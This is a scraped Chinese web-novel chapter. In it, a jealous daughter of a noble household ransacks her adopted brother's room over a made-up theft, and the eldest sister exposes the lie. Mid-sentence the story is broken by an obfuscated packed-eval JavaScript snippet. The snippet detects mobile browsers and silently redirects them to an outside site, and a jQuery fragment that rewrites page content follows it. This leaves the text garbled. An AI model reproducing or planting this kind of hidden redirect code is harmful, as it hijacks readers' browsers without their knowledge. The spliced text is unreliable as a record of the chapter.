默认冷灰
24号文字
方正启体

20. 第二十章

作者:晏怀卿本书字数:K更新时间:
    空尘轩内一片狼藉。


    桌椅木具被翻得东倒西歪,被褥散落一地,上面还沾了几个鞋底的泥印子。


    屋里的丫鬟小厮随手将翻出的物件往地上一扔,笔墨纸砚被摔得粉碎,墨汁四溅。


    池见清将手中冷茶倒在炭盆里,“滋”的一声,火苗骤灭,只剩几缕幽烟。


    “你倒是会享受,也用上这等银丝炭了。”她讥讽道。


    想她初入侯府时用的也不过是寻常柴炭,待母亲掌权稳固后才换上银炭。


    一个无名无分的养子,如今竟也有了这般待遇。


    见池九鸣沉默不语,池见清轻笑了几声,走到他身侧,压低声音:“从前她恨你入骨,如今是倒好吃好喝的供起来了……莫非,你手里攥着她什么把柄?”


    池九鸣站在屋内中央,背脊笔直,目光垂落在地面碎裂的砚台上,自始至终未看她一眼。


    池见清深吸了口气,朝身后侍女递了个眼色。


    “小姐同你说话,你是聋了不成!”银翠心领神会,抓起桌上的一只茶杯便朝他砸去。


    “啪”的一声,瓷片四溅,碎片擦过他的眼角,瞬间划开一道血口,殷红一片。


    池见清“啧”了一声,故作姿态地转开视线:“银翠,我们是来寻东西的,你这是做什么?回头他若伤着了,跑去长姐跟前告状,我可护不住你。”


    银翠不屑地嗤笑道:“大小姐这些日子不过是图个新鲜,换个花样解闷罢了,他还真当自己是侯府正头公子了不成?不过是侯爷从战场上随手捡回来的野种,瞧着可怜赏口饭吃,竟连自己的身份都忘了,见着我们小姐也不知行礼!”


    说罢她朝两侧使了个眼色,两名膀大腰圆的小厮立刻上前,一左一右按住池九鸣的肩膀,用力向下压去。


    谁知这瞧着清瘦单薄的身子,却浑身一股劲,任凭两人如何使力,竟怎么也按不动。


    “你们两个废物!平日里吃的饭都喂狗了不成?连他都按不住!”银翠叉腰骂道。


    左侧那小厮面色一狠,抬脚便重重踹在了池九鸣的膝弯处。


    池九鸣闷哼一声,左腿一软,被强压着半跪下去。可另一条腿任凭小厮如何踢打,始终不肯屈膝。


    池见清的目光扫过满地狼藉,最后落在一只翻倒的衣箧上。


    她走过去,随手扯出里面几件衣裳,拎起一件质料上乘的月白色大氅,指尖捻了捻:“这等云锦料子,也是你配穿的?”说罢便随手扔在地上,正欲踩上去,却听屋内传来一声漫不经心的讥笑。


    她抬头望去,地上之人被强按着半跪在地,偏着头,斜睨着她。


    额前几缕碎发洒落在脸侧,眼角那道血痕猩红刺眼,衬得肤色愈发冷白。


    他薄唇微勾,携着几分轻慢。


    池见清被他这眼神看得心头陡然窜起一股无名怒火,声音都尖利了几分:“你笑什么?”


    “难怪二小姐今日贵步临贱地,”池九鸣开口,尾音带着几丝轻嘲,“想来寻那莫须有的金簪是假,怕是昨日受了气,无处发泄才是真吧。”


    池见清有些不敢置信地看着他:“你说什么?”


    池九鸣嘴角笑意又深了几分,“听闻二小姐昨日宴上不知怎么惹恼了九皇子,被罚当众作诗十二首,且首首不能重复。”


    他顿了顿,不紧不慢地继续道:


    “二小姐不愧是京城数一数二的才女,从午时握笔,直作到夜黑席散,这般苦功下来,今日竟还有力气。当真是,叫人好生佩服啊。”


    话音落下,四周一片死寂。


    原本还在翻箱倒柜的丫鬟吓得齐刷刷跪倒一片,恨不得将头埋进地里。


    昨日宴上之事虽未外传,但府内的下人们多少都有耳闻。


    昨夜二小姐一回府,便砸了满屋瓷器,发了好大一通脾气,最后还是薛姨娘露面才总算消停下来。


    雪宴之上,世家贵族,何等尊贵。她被当众受罚,已然成了心头上的一根刺。


    “你……你……”池见清气得浑身发抖,一股羞愤怒气从心头腾起直冲头顶,气得她眼前发黑。


    她本就因庶出的身份在贵女之中备受冷眼,若非她日夜苦读,搏出才女的名头,又怎么会有资格去接触九皇子。


    昨日那十二首诗,将她维持了多年的体面撕得粉碎,一夕之间成了整个京城的笑话。


    饶是如此,她也在拼命安慰自己,那不过是九皇子一时兴起,不过是自己运气不佳。只要等风头过去,他们总会忘记。


    可现在,这个可以任人欺凌的野种,都竟敢用这件事来嘲讽她!他凭什么?他怎么敢?!


    “池九鸣!我要撕了你的嘴!”她声音尖厉得几乎破音,再顾不上什么仪态风度,猛地冲上前扬手就要打。


    “住手!”


    一道冷冽的声音自院中响起,池见清动作一滞,转头看去。


    池见月不知何时站在门前,一袭素衣,面沉如水。


    她抬步走进屋内,视线扫过半跪在地的池九鸣,脸上那抹血红让她又无端想起当日的师兄,刺得她心头一痛。


    池见清收回手,强压下心中怒气,“是姐姐啊。姐姐怎么有空来此?”


    “你们在做什么?”池见月的目光掠过她,落在池九鸣身


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165174|196674||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    后的两个小厮身上,“还不松手!”


    两个小厮吓得浑身一抖,慌忙松开退到一旁,垂头不敢作声。


    池九鸣失去钳制,闷咳一声,身形微晃。起身间,抬手用指腹蹭了去了眼角处滴落下的血迹。


    见池见清抿唇不语,身后的银翠立刻上前:“回大小姐,是他手脚不干净偷了小姐的金簪,奴婢们这才来找。谁知他做贼心虚,非但不让搜,还出言辱骂小姐!”


    池见月侧首看向身旁的人:“你拿了?”


    池九鸣抬眼,扯了扯嘴角:“欲加之罪,何患无辞。”


    “你!”银翠指着他尖声道,“分明就是你偷的!”


    池见月转眸看向银翠:“你可亲眼看见了?”


    “姐姐这是何意?”池见清蹙眉,“莫非我还会栽赃他不成?”


    “那我问你,”池见月直视她,“你那支金簪何时丢的?”


    “……今日午后。”


    “你的丫鬟又是何时看见他经过你院外的?”


    池见清略有迟疑:“也是午后。”


    池见月点了点头,忽然转向身侧:“连翘。”


    连翘应声上前:“回小姐,今日午后奴婢奉小姐之命来给三公子送冬衣。因小姐叮嘱需亲手交到公子手中,而公子午膳后便歇下了,奴婢便一直等到未时末公子醒来,方才交付妥当离开。”


    她顿了顿:“期间公子未曾出过空尘轩。”


    “你可听清了?”池见月看向池见清。


    “你们!”池见清胸口剧烈起伏,气得指尖发颤。


    如此拙劣的理由分就是故意搪塞她的!


    可金簪之事本就是她随口胡诌,她自然清楚池九鸣根本没靠近过她的院子。纵使知道这说辞荒唐,她却无法反驳。


    毕竟往日欺辱池九鸣,何曾需要过什么证据?


    “连翘,”池见月的声音再度响起,“依照府规,污蔑主子该当何罪?”


    连翘垂首:“回小姐,应杖责二十,逐出府门,永不录用。”


    池见清闻言脸色一变。


    “大小姐饶命啊!”银翠扑通跪地,连连磕头,“许是奴婢看错了,是奴婢眼花了……”


    池见月踏过一地的书页和碎瓷,摩擦间发出细微的声响,每一步都像是踩在众人的心尖上。


    “搜查院落需持管家对牌,你有么?”


    “肆意损毁书籍衣物,谁准的?”


    “污人偷窃毁人名节,你的证据何在?”


    她音色渐冷,厉声道:


    “池见清,是谁给你的胆子,在侯府之内行此悖逆之事?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)